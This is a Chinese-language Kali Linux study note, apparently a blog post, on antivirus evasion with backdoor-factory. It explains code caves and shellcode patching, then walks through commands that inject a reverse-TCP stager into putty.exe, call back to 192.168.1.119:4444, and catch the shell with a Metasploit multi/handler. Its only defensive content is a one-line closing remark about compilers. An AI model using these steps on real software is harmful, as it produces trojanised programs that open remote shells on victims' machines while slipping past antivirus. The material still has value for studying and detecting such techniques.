Kali linux 學習筆記(八十四)免殺——backdoor-factory 2020.4.20

前言

本節學習backdoor-factory
瞭解下代碼洞的用法

1、簡介

backdoor-factory(BDF)

  • patch:本是通過替換 exe、dll、註冊表等方法修復系統漏洞或問題的方法,但在BDF中是向二進制文件中增加或者刪除代碼內容,注意某些受保護的二進制程序無法 patch,且存在一定概率文件會被 patch 壞掉
  • 將 shellcode 代碼 patch 進模板文件,躲避 AV 檢查
  • 使用於 windows PE x32/64 和 linux ELF x32/64 (OSX)
    -支持 msf payload、自定義 payload
  • python 語言編寫

2、msf 使用的 patch 方法

#覆蓋程序入口
msfvenom -p windows/shell/reverse_tcp
#創建新的線程執行 shellcode 並跳回原程序入口
msfvenom -p windows/shell/reverse_tcp –k #如圖所示,增加代碼片段跳轉執行後跳回源程序入口

在這裏插入圖片描述

3、CTP 方法

  • 增加新的代碼段 session,與 msf 的-k 方法類似
  • 使用現有的代碼裂縫/洞(code cave)存放 shellcode,代碼洞是二進制中超過兩個字節的連續 x00 區域(代碼片段間區域),根據統計判斷代碼洞是編譯器在進行編譯是造成的,不同的編譯器造成的代碼洞的大小不同
  • 單個代碼洞代銷不足以存放完整的 shellcode,就多代碼洞跳轉(非順序執行)如圖所示,初期免殺率可達100%
  • 結合 msf 的 stager 方法,patch 選項,附加代碼段,單代碼洞注入,多代碼注入
    在這裏插入圖片描述
    在這裏插入圖片描述

以putty爲例

backdoor-factory -f putty.exe –S #-S:檢查二進制文件是否支持代碼注入
backdoor-factory -f putty.exe -c -l 200 #查看其是否支持我們指定的 shellcode patch, -c:code cave(代碼裂縫),-l:代碼裂縫大小
backdoor-factory -f putty.exe -s show #-s SHELL, --shell=SHELL: 可以使用的有效負載。使用“show”來查看有效載荷
backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.1.119 -P 4444 -o putty2.exe #注入putty
#默認單一代碼洞,-J是多代碼洞,-a在代碼段後面新加個section注入代碼
#使用msf偵聽
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.1.119
msf exploit(multi/handler) > set LPORT 4444
msf exploit(multi/handler) > run
#把putty放到win2003中,運行
#發現shell反彈
msf exploit(multi/handler) > sessions -i 1 #進入shell

結語

有趣的是代碼洞的成因,backdoor-factory的發明者也不知道,
直到後來,根據統計才判斷是編譯器造成的
作爲防禦,選擇編譯器時注意選擇代碼洞小又少的

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章